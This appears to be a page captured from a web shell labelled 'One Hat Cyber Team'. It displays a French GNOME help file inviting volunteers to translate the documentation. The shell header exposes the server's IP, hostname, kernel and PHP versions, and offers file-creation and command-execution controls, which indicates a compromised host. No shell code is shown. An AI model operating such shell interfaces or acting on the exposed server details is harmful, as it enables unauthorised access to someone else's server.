One Hat Cyber Team
Your IP :
216.73.216.50
Server IP :
157.15.65.100
Server :
Linux 157-15-65-100.cprapid.com 5.14.0-362.24.2.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Mar 30 14:11:54 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
help
/
fr
/
gnome-help
/
View File Name :
translate.page
<?xml version="1.0" encoding="utf-8"?> <page xmlns="http://projectmallard.org/1.0/" type="topic" style="tip" id="translate" xml:lang="fr"> <info> <link type="guide" xref="more-help"/> <link type="seealso" xref="get-involved"/> <desc>Comment et où aider à la traduction de ces rubriques.</desc> <revision pkgversion="3.11.4" version="0.1" date="2014-01-26" status="review"/> <credit type="author copyright"> <name>Tiffany Antopolski</name> <email>tiffany.antopolski@gmail.com</email> <years>2011</years> </credit> <credit type="editor"> <name>Michael Hill</name> <email>mdhillca@gmail.com</email> </credit> <credit type="editor"> <name>Petr Kovar</name> <email>pknbe@volny.cz</email> </credit> <include xmlns="http://www.w3.org/2001/XInclude" href="legal.xml"/> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Luc Pionchon</mal:name> <mal:email>pionchon.luc@gmail.com</mal:email> <mal:years>2011</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Claude Paroz</mal:name> <mal:email>claude@2xlibre.net</mal:email> <mal:years>2011</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Alain Lojewski</mal:name> <mal:email>allomervan@gmail.com</mal:email> <mal:years>2011-2015</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Julien Hardelin</mal:name> <mal:email>jhardlin@orange.fr</mal:email> <mal:years>2011, 2013</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Bruno Brouard</mal:name> <mal:email>annoa.b@gmail.com</mal:email> <mal:years>2011-12</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>yanngnome</mal:name> <mal:email>yannubuntu@gmail.com</mal:email> <mal:years>2012</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Nicolas Delvaux</mal:name> <mal:email>contact@nicolas-delvaux.org</mal:email> <mal:years>2012</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Mickael Albertus</mal:name> <mal:email>mickael.albertus@gmail.com</mal:email> <mal:years>2012</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Alexandre Franke</mal:name> <mal:email>alexandre.franke@gmail.com</mal:email> <mal:years>2015</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Hydroxyp</mal:name> <mal:email>hydroxyp@gmail.com</mal:email> <mal:years>2020</mal:years> </mal:credit> </info> <title>Participation à l'amélioration des traductions</title> <p> GNOME’s help is being translated by a world-wide volunteer community. You are welcome to participate. </p> <p>Il y a de <link href="https://l10n.gnome.org/module/gnome-user-docs/">nombreuses langues</link> pour lesquelles nous avons encore besoin de traductions.</p> <p>Pour commencer à traduire, vous devez <link href="https:l10n.gnome.org/register/">créer un compte</link> et rejoindre <link href="https://l10n.gnome.org/teams/">l'équipe de traduction</link> de votre langue. Ce compte va vous permettre de téléverser de nouvelles traductions.</p> <p>Vous pouvez discuter avec d'autres traducteurs de GNOME sur le canal #i18n du <link xref="help-irc">serveur IRC de GNOME</link>. Notez que les personnes abonnées à ce canal sont disséminées dans le monde entier et que vous n'aurez donc probablement pas de réponse rapide à cause des décalages horaires.</p> <p>Vous pouvez aussi joindre par courriel l'équipe d'internationalisation en utilisant leur <link href="http://mail.gnome.org/mailman/listinfo/gnome-i18n">liste de diffusion</link>.</p> </page>